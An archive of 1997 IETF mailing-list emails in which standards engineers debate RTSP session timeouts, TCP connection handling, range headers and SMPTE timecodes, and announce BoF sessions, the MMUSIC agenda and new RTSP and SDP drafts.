	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA21781
	for <confctrl@isi.edu>; Sun, 16 Nov 1997 09:09:41 -0800 (PST)
From: cortes@uni-paderborn.de
Received: from alme ([131.234.16.16] EHLO sai_sun4m.uni-paderborn.de ident: IDENT-NONSENSE [port 33907]) by pbinfo.uni-paderborn.de with ESMTP id <53562-20922>; Sun, 16 Nov 1997 18:09:36 +0100
Received: (from cortes@localhost) by sai_sun4m.uni-paderborn.de (8.7.3/8.7.3) id SAA06057; Sun, 16 Nov 1997 18:09:23 +0100 (MET)
Message-Id: <199711161709.SAA06057@sai_sun4m.uni-paderborn.de>
Subject: Re: Reminder: Last day for WG comments: Nov. 18
In-Reply-To: <346DD0BC.D4AD4DB0@cs.columbia.edu> from Henning Schulzrinne at "Nov 15, 97 11:41:32 am"
To: schulzrinne@cs.columbia.edu (Henning Schulzrinne)
Date: Sun, 16 Nov 1997 18:09:23 +0100 (MET)
Cc: confctrl@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> >         I had this particular problem (well, still have :-() when
> > developing a new client for our server, and decided to use an
> > extension header that I called 'Lifetime:', that can be sent with the
> > SETUP method as "Lifetime: connection" to inform the server that, if
> > the session wasn't teardowned when the connection is closed, he can
> > abort it.
> 
> See the timeout parameter for the Session: header.

	The timeout parameter for Session is an other way to
cope with orphan sessions, but its has a quite different
'orientation'. It has to be sended by the Server, and forces the
client to send an 'I'm still here' periodically, what I don't like
to much (especially with a 60 sec. default).

	The timeout parameter is a nice way to deal with orphan
sessions (caused by faulty clients, or any other reason), and
given that its meaning should be something like 'After this time
I'll assume you are dead' I think that it should be used with
care.

	The kind of header I meant, the 'Lifetime:' I'm using,
is more like a "client's intentions declaration". Something like:
'If we lost contact, you must assume I'm dead', ... or you can
define other values for the header like XXXX= 'I will often close an
reopen our conntact, please, be patient and try to keep my sessions
as long as possible' ...  (which could influence the server decission about
the value given to 'timeout').

	One of the nice advantages I find from having none
TCP-connection/Session relationship, is that it allows to spare
connection resources. A user might want to see a movie, then its client
program opens a connection to the server, sends the setup messages and
a play and close the connection until the user decides to stop watching
the movie or to 'play' with the remote control. Short timeouts force
the client programm to either keep the connection open, or to reopen
it periodically, and to resend "I'm here"s for each open session;
... this can be necesary in some situations, but I would
give the client the posibility to inform the server about what kind
of behavior he has so that the server can modify that 'timeout' parameter
acordingly.
 

	Well, ... anyway... it is just a suggestion. You have already
experience with the protocol to judge if its useful or if your
implementations can be happy with only 'timeout'.


-------------------------------------------------------------------
Francisco Cortes		office: F2.323
University of Paderborn		Tel.:   +49 5251 60 6704
Dept. of Math. & Comp. Sci.	Fax.:   +49 5251 60 6697
Fuerstenallee 11		email:  cortes@uni-paderborn.de
D-33102 Paderborn, Germany
http://www.uni-paderborn.de/fachbereich/AG/monien/PERSONAL/CORTES/
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96
-------------------------------------------------------------------

From confctrl-owner  Mon Nov 17 12:02:13 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA13729
	for confctrl-outgoing; Mon, 17 Nov 1997 12:02:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA13720
	for <confctrl@zephyr.isi.edu>; Mon, 17 Nov 1997 12:02:07 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA27433
	for <confctrl@isi.edu>; Mon, 17 Nov 1997 12:02:05 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Mon Nov 17 15:00:56 EST 1997
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41]) by zubin.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id OAA01106; Mon, 17 Nov 1997 14:53:12 -0500 (EST)
Message-ID: <3470A269.6362BF41@dnrc.bell-labs.com>
Date: Mon, 17 Nov 1997 15:00:41 -0500
From: "Jonathan D. Rosenberg" <jdrosen@dnrc.bell-labs.com>
Reply-To: jdrosen@dnrc.bell-labs.com
X-Mailer: Mozilla 4.03 [en] (Win95; I)
MIME-Version: 1.0
To: rem-conf@es.net, pint@lists.research.bell-labs.com, confctrl@ISI.EDU
Subject: BoF Session in December IETF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

pint'ers, avt'ers and mmusic'ers,

There will be a BoF Session at December's IETF, on Wed. from 9 -
11:30am, to consider the formation of a new working group to examine the
usage of SIP (the Session Initiation Protocol) for Internet telephony
for thin clients. You can find a proposed charter and agenda at:

ftp://ftp.ietf.org/ietf/97dec/siptel-agenda-97dec.txt

To facilitate discussion during the BoF, a mailing list has been set up
to begin a conversation on the subject beforehand. To subscribe or
unsubscribe yourself to the mailing list, send a message to
siptel-request@lists.research.bell-labs.com with the single
word subscribe or unsubscribe in the body. To send to the list, address
the mail to siptel@lists.research.bell-labs.com. Please feel free to
send mail to this list with any questions/comments/concerns about the
proposed charter and agenda.

Thanks,

Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
PHONE: (908) 949-6418                       Rm. 4C-526
FAX:   (908) 834-5379
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Nov 17 14:30:10 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA24021
	for confctrl-outgoing; Mon, 17 Nov 1997 14:30:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA24010
	for <confctrl@zephyr.isi.edu>; Mon, 17 Nov 1997 14:30:06 -0800 (PST)
Received: from dip.eecs.umich.edu (thalerd@dip.eecs.umich.edu [141.212.99.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA06175;
	Mon, 17 Nov 1997 14:29:51 -0800 (PST)
Received: (from thalerd@localhost) by dip.eecs.umich.edu (8.8.5/8.8.0) id RAA15510; Mon, 17 Nov 1997 17:29:52 -0500 (EST)
From: Dave Thaler <thalerd@eecs.umich.edu>
Message-Id: <199711172229.RAA15510@dip.eecs.umich.edu>
Subject: Multicast address allocation BOF
To: idmr@cs.ucl.ac.uk, mboned@network-services.uoregon.edu, confctrl@ISI.EDU
Date: Mon, 17 Nov 1997 17:29:52 -0500 (EST)
Cc: thalerd@eecs.umich.edu (Dave Thaler), mjh@ISI.EDU
X-Mailer: ELM [version 2.4 PL24 PGP1]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Since discussion on multicast address allocation has spanned three 
different working groups, I'm announcing this on all three lists...

We've received approval for a BOF on multicast address allocation in DC
so that discussion can be concentrated in one forum instead of three.

Here's the proposed description:

Multicast-Address Allocation (MALLOC) WG
========================================

Multicast address allocation is an essential part of using IP
multicast.  Multicast addresses are an even more limited resource than
unicast addresses, and must be allocated dynamically if they are to
satisfy expected demand.  To this end, the MALLOC WG is initially
proposing to define three protocols which work together to form a
global dynamic multicast address allocation mechanism.  This
architecture is a strawman archictecture, and may be significantly
revised over time.  The strawman protocols will be:

- a local protocol to obtain one or more multicast addresses from a
local address allocation server.

- a "domain" wide Address Allocation Protocol (AAP) that local
servers can use to claim a multicast address for a period of time.
This protocol is likely to be similar to the MMUSIC WG's Session
Announcement Protocol.

- an inter-domain Multicast Address Set Claim (MASC) protocol to
provide aggregatable multicast address sets (similar to a prefix for
unicast addresses) that AAP can then allocate individual multicast
addresses out of.

MASC is intended to work with the IDMR WG's Border Gateway Multicast
Protocol to provide a scalable inter-domain multicast routing
solution.

An important part of these protocols is that they do not necessarily
guarantee that a unique multicast address is allocated.  They must,
however, at least provide a good statistical likelihood that the 
address is unique within the scope it is allocated for.

---

We expect that the agenda will look something like the following:

Agenda for the Dec 1997 IETF Meeting
====================================

 - Agenda Bashing

 - Introduction/Charter discussion

 - Discussion of tri-level architecture (see above) and the goal of
   high probability of uniqueness rather than guarantees.

 - Static multicast address allocation issues (e.g., SVRLOC)

 - MASC proposal for the Inter-domain level

 - AAP proposal for the Address-Allocator-to-Border Router level

 - MDHCP proposal for the Host-to-Address-Allocator level

 - Other proposals?

---

Please send agenda requests/comments to Mark Handley (mjh@isi.edu) and 
myself.

Thanks,
-Dave

From confctrl-owner  Tue Nov 18 21:11:53 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA16875
	for confctrl-outgoing; Tue, 18 Nov 1997 21:11:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA16870
	for <confctrl@zephyr.isi.edu>; Tue, 18 Nov 1997 21:11:52 -0800 (PST)
Received: from mrin43.mail.aol.com (mrin43.mx.aol.com [198.81.19.153])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA13747
	for <confctrl@isi.edu>; Tue, 18 Nov 1997 21:11:51 -0800 (PST)
From: Phoschka@aol.com
Received: (from root@localhost)
	  by mrin43.mail.aol.com (8.8.5/8.7.3/AOL-2.0.0)
	  id AAA14917 for confctrl@isi.edu;
	  Wed, 19 Nov 1997 00:11:20 -0500 (EST)
Date: Wed, 19 Nov 1997 00:11:20 -0500 (EST)
Message-ID: <971119001119_-488627860@mrin43.mail.aol.com>
To: confctrl@ISI.EDU
Subject: mapping of RTSP sessions onto TCP connections
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

since the deadline for comments is ending shortly, here are my last-minute
thoughts on this issue.

suggestion: make server support for interupting TCP connection during RTSP
session optional

i think it would be a good idea to allow a server implementation that maps a
single rtps session onto a single TCP connection. The advantages allowing
that the client can interupt the TCP connection for a session (don't keep a
TCP connection while user watches a two hour video-clip, allow to "pass the
control" between different users) are valid. 

However, i think that there are quite a few applications that don't require
re-opening a session, and that there will be quite a few clients that will
never do this (since is an additional thing you have to implement, which does
not really increase the functionality of the protocol). Also, given the
http-likeness suggested by the draft, i'm pretty sure that many initial
server implementations won't implement "session-reset" (although this isn't
what the standard says, of course)

I would therefore suggest to make support for interupting/re-opening an rtsp
session at the server side optional, if TCP is used as the transport
protocol.

This could be achieved by adding a header sent by the server to the client,
in which the server tells the client that it should never interupt the TCP
connection during the session, e.g. the header "no-interupt". This header
should be added to the first message that establishes a session, e.g. the
response to the SETUP message.


From confctrl-owner  Tue Nov 18 21:30:20 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA17444
	for confctrl-outgoing; Tue, 18 Nov 1997 21:30:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA17435
	for <confctrl@zephyr.isi.edu>; Tue, 18 Nov 1997 21:30:17 -0800 (PST)
Received: from mrin83.mail.aol.com (mrin83.mx.aol.com [198.81.19.193])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA14122
	for <confctrl@isi.edu>; Tue, 18 Nov 1997 21:30:14 -0800 (PST)
From: Phoschka@aol.com
Received: (from root@localhost)
	  by mrin83.mail.aol.com (8.8.5/8.7.3/AOL-2.0.0)
	  id AAA01887 for confctrl@isi.edu;
	  Wed, 19 Nov 1997 00:29:40 -0500 (EST)
Date: Wed, 19 Nov 1997 00:29:40 -0500 (EST)
Message-ID: <971119002447_-524451599@mrin83.mail.aol.com>
To: confctrl@ISI.EDU
Subject: RTSP: range-header support; smpte
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

range-header support
--------------------

why is range header support required now for minimal clients/servers ? i sent
mail to the list a couple of months ago, and was told that range-header
support wasn't required.

a minimal server simply takes a complete audio/video file, and sends it out
on the net. the capability of extracting sub-clips, while very useful,
requires more complex code in the server - i guess in the case of
differential compressions schemes such as MPEG, it may even require
re-compression, if you end up addressing a differential frame in the range
request.

smpte
------

there are more smpte codes than the smpte-30-drop supported by rtsp.
"european" video uses smpte-25, for example. i guess a sentence on how these
should be handled within rtsp would be helpful, i.e. how do you map from
smpte-30-drop onto other smpte codes.


From confctrl-owner  Wed Nov 19 23:42:46 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA08958
	for confctrl-outgoing; Wed, 19 Nov 1997 23:42:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA08953
	for <confctrl@zephyr.isi.edu>; Wed, 19 Nov 1997 23:42:45 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA24625
	for <confctrl@ISI.EDU>; Wed, 19 Nov 1997 23:42:44 -0800 (PST)
Received: from robla.dev.prognet.com (mg-20425426-135.ricochet.net) by murrow.prognet.com with SMTP id AA09608
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 19 Nov 1997 23:42:41 -0800
Message-Id: <3.0.3.32.19971119234237.00c03910@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 19 Nov 1997 23:42:37 -0800
To: Phoschka@aol.com, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: RTSP: range-header support; smpte
Cc: anup@netscape.com, hgs@cs.columbia.edu
In-Reply-To: <971119002447_-524451599@mrin83.mail.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 12:29 AM 11/19/97 -0500, Phoschka@aol.com wrote:
>why is range header support required now for minimal clients/servers ? i sent
>mail to the list a couple of months ago, and was told that range-header
>support wasn't required.

Because we were silly :)  I'm assuming it's section D.1.1 that's the
problem.  I'll change both to read:

*  To support on-demand, seekable playback of media streams, the server MUST 
                         ^^^^^^^^
   be able to do the following:

....

>there are more smpte codes than the smpte-30-drop supported by rtsp.
>"european" video uses smpte-25, for example. i guess a sentence on how these
>should be handled within rtsp would be helpful, i.e. how do you map from
>smpte-30-drop onto other smpte codes.

Hmmm, that is a rather US-centric blunder.  

Well, I would say that smpte-25 would need to be it's own timestamp format,
and that each other one would have it's own mapping.  I'm not sure where
our copy of the SMPTE spec ended up, so I'll have to hunt around for it.  

Perhaps we could include it thusly:

The default smpte format is``SMPTE 30 drop'' format, with frame rate is
29.97 frames per second.  Other SMPTE codes MAY be supported (such as
"SMPTE 25") through the use of alternative use of "smpte time".   For the
``frames'' field 
in the time value can assume the values 0 through 29. 
The difference between 30 and 29.97 frames per second is handled by
dropping the first two frame indices (values 00 and 01) of every minute,
except every tenth minute.  If the frame value is zero, it may be
omitted.  Subframes are measured in one-hundredth of a frame.

  smpte-type = "smpte" | "smpte-30-drop" | "smpte-25"
                                            ; Other timecodes may be added
  smpte-range = smpte-type "=" smpte-time "-" [ smpte-time ]
  smpte-time = 1*2DIGIT ":" 1*2DIGIT ":" 1*2DIGIT [ ":" 1*2DIGIT ] 
               [ "." 1*2DIGIT]

Rob
---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Thu Nov 20 00:07:02 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA09313
	for confctrl-outgoing; Thu, 20 Nov 1997 00:07:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA09307
	for <confctrl@zephyr.isi.edu>; Thu, 20 Nov 1997 00:07:00 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA28452
	for <confctrl@ISI.EDU>; Thu, 20 Nov 1997 00:06:59 -0800 (PST)
Received: from robla.dev.prognet.com (mg-20425426-135.ricochet.net) by murrow.prognet.com with SMTP id AA10447
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 20 Nov 1997 00:06:58 -0800
Message-Id: <3.0.3.32.19971120000654.00aa5198@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 20 Nov 1997 00:06:54 -0800
To: Phoschka@aol.com, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: mapping of RTSP sessions onto TCP connections
In-Reply-To: <971119001119_-488627860@mrin43.mail.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 12:11 AM 11/19/97 -0500, Phoschka@aol.com wrote:
>suggestion: make server support for interupting TCP connection during RTSP
>session optional
>
>However, i think that there are quite a few applications that don't require
>re-opening a session, and that there will be quite a few clients that will
>never do this (since is an additional thing you have to implement, which does
>not really increase the functionality of the protocol). Also, given the
>http-likeness suggested by the draft, i'm pretty sure that many initial
>server implementations won't implement "session-reset" (although this isn't
>what the standard says, of course)

My initial reaction was to actually support this (and thus reflected in my
private mail to you shortly after I got this).  However, after a few
conversations with some folks, it becomes clear that this doesn't make
complexity disappear for minimal implementations, but rather shifts the
burden from server to client, so we'll have to consider this pretty carefully.

So, let's weigh the complexity here:

If we don't change things:
  Server:  inetd-based approaches must maintain a separate "session
manager" daemon or must maintain disk-based state.

  Client:  minimal implementation must support either model.

If we do change things:

  Server:  inetd-based approaches work fine

  Client:  client MUST support persistant model, must parse new field, and
may support non-persistant model.

I think it's a wash, and given the late state of affairs, I'm inclined to
go with the status quo.  If we *must* support this, the way to do this
would probably be something like:

   SETUP rtsp://foo/bar RTSP/1.0

   RTSP/1.0 200 OK
   Session:  1234;tcpclose=teardown

...or perhaps:

   SETUP rtsp://foo/bar RTSP/1.0

   RTSP/1.0 200 OK
   Session:  1234;session-tcp-reconnect-interval=0
                   ^^^wordy as all getout (something else would be better)

...but like I said, frankly, I'd prefer to leave things unchanged.

Rob

----------------
At 12:11 AM 11/19/97 -0500, Phoschka@aol.com wrote:
>since the deadline for comments is ending shortly, here are my last-minute
>thoughts on this issue.
>
>suggestion: make server support for interupting TCP connection during RTSP
>session optional
>
>i think it would be a good idea to allow a server implementation that maps a
>single rtps session onto a single TCP connection. The advantages allowing
>that the client can interupt the TCP connection for a session (don't keep a
>TCP connection while user watches a two hour video-clip, allow to "pass the
>control" between different users) are valid. 
>
>However, i think that there are quite a few applications that don't require
>re-opening a session, and that there will be quite a few clients that will
>never do this (since is an additional thing you have to implement, which does
>not really increase the functionality of the protocol). Also, given the
>http-likeness suggested by the draft, i'm pretty sure that many initial
>server implementations won't implement "session-reset" (although this isn't
>what the standard says, of course)
>
>I would therefore suggest to make support for interupting/re-opening an rtsp
>session at the server side optional, if TCP is used as the transport
>protocol.
>
>This could be achieved by adding a header sent by the server to the client,
>in which the server tells the client that it should never interupt the TCP
>connection during the session, e.g. the header "no-interupt". This header
>should be added to the first message that establishes a session, e.g. the
>response to the SETUP message.
>
>
---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Thu Nov 20 07:21:49 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA15328
	for confctrl-outgoing; Thu, 20 Nov 1997 07:21:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15323
	for <confctrl@zephyr.isi.edu>; Thu, 20 Nov 1997 07:21:48 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04863
	for <confctrl@ISI.EDU>; Thu, 20 Nov 1997 07:21:46 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id KAA02066; Thu, 20 Nov 1997 10:20:03 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id KAA16070; Thu, 20 Nov 1997 10:19:44 -0500 (EST)
Message-ID: <3474550F.1601@cs.columbia.edu>
Date: Thu, 20 Nov 1997 10:19:43 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.03 (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Rob Lanphier <robla@real.com>
CC: Phoschka@aol.com, confctrl@ISI.EDU
Subject: Re: mapping of RTSP sessions onto TCP connections
References: <3.0.3.32.19971120000654.00aa5198@mail.real.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rob Lanphier wrote:
> 
> At 12:11 AM 11/19/97 -0500, Phoschka@aol.com wrote:
> >suggestion: make server support for interupting TCP connection during RTSP
> >session optional
> >
> >However, i think that there are quite a few applications that don't require
> >re-opening a session, and that there will be quite a few clients that will
> >never do this (since is an additional thing you have to implement, which does
> >not really increase the functionality of the protocol). Also, given the
> >http-likeness suggested by the draft, i'm pretty sure that many initial
> >server implementations won't implement "session-reset" (although this isn't
> >what the standard says, of course)
> 
> My initial reaction was to actually support this (and thus reflected in my
> private mail to you shortly after I got this).  However, after a few
> conversations with some folks, it becomes clear that this doesn't make
> complexity disappear for minimal implementations, but rather shifts the
> burden from server to client, so we'll have to consider this pretty carefully.
> 
Agreed. To amplify in more general terms:

One of the problems with creating too many overlapping subsets of
functionality is that we'll drag everybody's expectations to the lowest
common denominator (and we'll be dragged into the
X.400/H.323/name-your-ITU-standard profile and interoperability
agreement game). Supporting multiple sources of requests may underlie
many novel applications of RTSP servers (e.g., in conferencing), and
removing that ability for a slight gain in server simplicity just
hinders server interoperability in the long run. Since server
development is never going to be an afternoon's affair, I think the
traditional Internet trade-off of putting slightly more burden on the
server is the correct one.

Henning

From confctrl-owner  Fri Nov 21 08:23:26 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA12850
	for confctrl-outgoing; Fri, 21 Nov 1997 08:23:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12845
	for <confctrl@zephyr.isi.edu>; Fri, 21 Nov 1997 08:23:24 -0800 (PST)
Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16823
	for <confctrl@isi.edu>; Fri, 21 Nov 1997 08:23:20 -0800 (PST)
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97])
	by mail.cs.tu-berlin.de (8.8.6/8.8.7) with ESMTP id RAA16231
	for <confctrl@isi.edu>; Fri, 21 Nov 1997 17:20:17 +0100 (MET)
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (from jo@localhost)
	by kolbmais.cs.tu-berlin.de (8.8.6/8.8.6) id RAA03702
	for confctrl@isi.edu; Fri, 21 Nov 1997 17:20:15 +0100 (MET)
Message-Id: <199711211620.RAA03702@kolbmais.cs.tu-berlin.de>
Subject: MMUSIC agenda: 1st proposal
To: confctrl@ISI.EDU
Date: Fri, 21 Nov 1997 17:20:13 +0100 (MET)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

as you know, the MMUSIC group is scheduled to meet twice at the upcoming
IETF.  Attached please find a first draft of an agenda.  As you see, we
will have to do quite some finalization work, but there is room left
for new stuff as well.  So we would like to solicit your input on
interesting topics that should be put on the agenda (preferably Monday,
as Wednesday seems pretty full).

Would authors of the indicated documents please let us know how much
time you are going need so that we can complete the schedule?

We look forward to your comments and suggestions,
Eve, Mark, Ruth, and Joerg

-----------------------------------------------------------------------

MONDAY
------
* SDP  -- I don't know whether we had too many changes; but need to get
	  a duscussion going on how to deal with extensions for dynamic
	  payload types including the process of assigning them and
	  where they are kept/recorded.  This has popped up in the
	  AVT discussion on new payload types.

	  We also might want to think more about limited(!) capability
	  representation here.

* SAP  -- We need to re-introduce SAP into the process
	  Also, a progress report on secure SAP seems desirable


* Implementations: people who have been doing implementations of some of
  protocols MMUSIC has produced are welcome to give quick presentations
  on their results.  This would be particularly helpful for those
  protocols that go into last calls.  Presentations of implementations
  will be in the context of the discussion of the respective protocols.


WEDNESDAY
---------
* RTSP -- finish the document (if there is need for interactive
	  discussion; at least we should have a quick presentation on the
	  agreed changes)

* SIP --  present and discuss draft -04.  I also would like to get sort
	  of a strawpoll how people feel in MMUSIC about further
	  enhancements and about SIP staying in place possibly even to
	  terminate "calls" and other extensions in the direction of
	  IPTEL BOF.
	  




From confctrl-owner  Sat Nov 22 21:08:01 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA05155
	for confctrl-outgoing; Sat, 22 Nov 1997 21:08:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA05150
	for <confctrl@zephyr.isi.edu>; Sat, 22 Nov 1997 21:07:59 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA00172
	for <confctrl@isi.edu>; Sat, 22 Nov 1997 21:07:57 -0800 (PST)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA26148
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sat, 22 Nov 1997 21:08:00 -0800
Message-Id: <3.0.3.32.19971122210759.00f6b770@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sat, 22 Nov 1997 21:07:59 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: draft-ietf-mmusic-rtsp-06.(ps,txt)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The latest draft of RTSP is located at the following addresses:

ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-rtsp-06.txt
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-rtsp-06.ps

This incorporates all of the needed change requests received prior to the
last call deadline, and dots a few i's and crosses a few t's.  With the WG
chairs' permission, we'd like to move this to IETF last call.

Rob

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Sun Nov 23 10:25:55 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA12141
	for confctrl-outgoing; Sun, 23 Nov 1997 10:25:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA12134
	for <confctrl@zephyr.isi.edu>; Sun, 23 Nov 1997 10:25:53 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA08886
	for <confctrl@isi.edu>; Sun, 23 Nov 1997 10:25:52 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id NAA27913; Sun, 23 Nov 1997 13:25:50 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
Subject: Revised SDP draft
Date: Sun, 23 Nov 1997 13:25:50 -0500
Message-ID: <27911.880309550@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I know many of you had hoped you'd next see SDP as an RFC, but a few
minor points cropped up at last call to do with internationalisation
and character sets that required fixing.  Thanks to Steve Hanna for
pointing these out before they became more difficult to fix.

A new draft is available from:
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp-05.txt
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp-05.ps

This won't appear in the internet drafts archives until after the
December IETF as I missed the deadline.

